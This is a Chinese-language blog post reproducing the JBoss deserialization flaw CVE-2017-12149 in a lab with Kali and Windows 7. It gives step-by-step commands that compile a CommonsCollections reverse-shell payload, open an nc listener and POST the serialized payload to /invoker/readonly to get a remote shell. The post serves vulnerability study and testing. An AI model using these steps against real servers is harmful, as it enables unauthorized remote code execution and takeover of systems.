JBoss-反序列化命令執行漏洞CVE-2017-12149

前言:

JBoss 反序列化漏洞,該漏洞位於JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數據流進行反序列化,導致惡意訪問者通過精心設計的序列化數據執行任意代碼。但近期有安全研究者發現JBossAS 6.x也受該漏洞影響,惡意訪問者利用該漏洞無需用戶驗證即可獲得服務器的控制權。該漏洞的細節和驗證代碼已公開,爲避免造成損失,建議及時修復升級至JBossAS 7版本

影響版本:

  • Jboss AS 5.x
  • JbossAS 6.x

漏洞復現:

復現環境:

  • Kali 192.168.107.139
  • win7 192.168.107.142
  • JBoss安裝包、安裝在win7系統上
  • JavaDeserH2HC.zip利用工具

第一步:win7上jdk的安裝,由於過程比較簡單這裏就直接忽略了,安裝好了打開cmd,輸入java -version檢查是否安裝成功,如下截圖爲即爲成功。
在這裏插入圖片描述

第二步:下載JBoss安裝包,下載地址:http://jbossas.jboss.org/downloads/
這裏下載的版本是jboss-as-6.1.0-final
2:將其解壓到目錄下,我這裏目錄是C:\jboss\jboss-6.1.0.Final(路徑 中最好不要用空格)
3:新建環境變量,變量名是JBOSS_HOME變量值是C:\jboss\jboss-6.1.0.Final
在這裏插入圖片描述
在PATH路徑最後加入;%JBOSS_HOME%\bin (最開始一定要加分號來隔開前面的路徑)
在這裏插入圖片描述
4:設置好Jboss的環境變量後,來到C:\jboss\jboss-6.1.0.Final\bin目錄下啓動cmd,輸入call run.bat -b 0.0.0.0啓動JBoss服務器。
cmd中提示如下表示啓動成功。
如果在啓動過程中出現錯誤,仔細檢查Jboss的環境變量是否正確。
在這裏插入圖片描述
5:打開瀏覽器,輸入192.168.107.142:8080 出現下面的界面表示啓動成功。
在這裏插入圖片描述
6:訪問/invoker/readonly,如果提示500,表示漏洞還是存在的。
在這裏插入圖片描述
7:下載利用工具JavaDeserH2HC.zip 下載地址 下載後拷貝到kali下,解壓後進入到該工具目錄中。

在這裏插入圖片描述
8:確保在Kali下能夠正常訪問物理主機上的JBoss應用服務器且在此路徑下(/invoker/readonly)返回500狀態碼
在這裏插入圖片描述
9:在Kali終端上輸入javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java回車
在這裏插入圖片描述繼續輸入java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.107.139:8888(IP地址爲Kali地址,端口爲隨機監聽,只要不衝突就好,用來進行反彈shell)

在這裏插入圖片描述
10:在Kali下重新打開一個終端,輸入nc -vv -lp 8888 進行8888端口的監聽。
在這裏插入圖片描述

11:回到第9步終端,輸入 curl http://192.168.107.142:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser 回車,此時如果成功了會直接返回shell到第10步的終端中。

–data-binary的意思是使用curl命令向/invoker/readonly提交payload。
執行結果如下:
在這裏插入圖片描述
12:返回shell結果如下:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章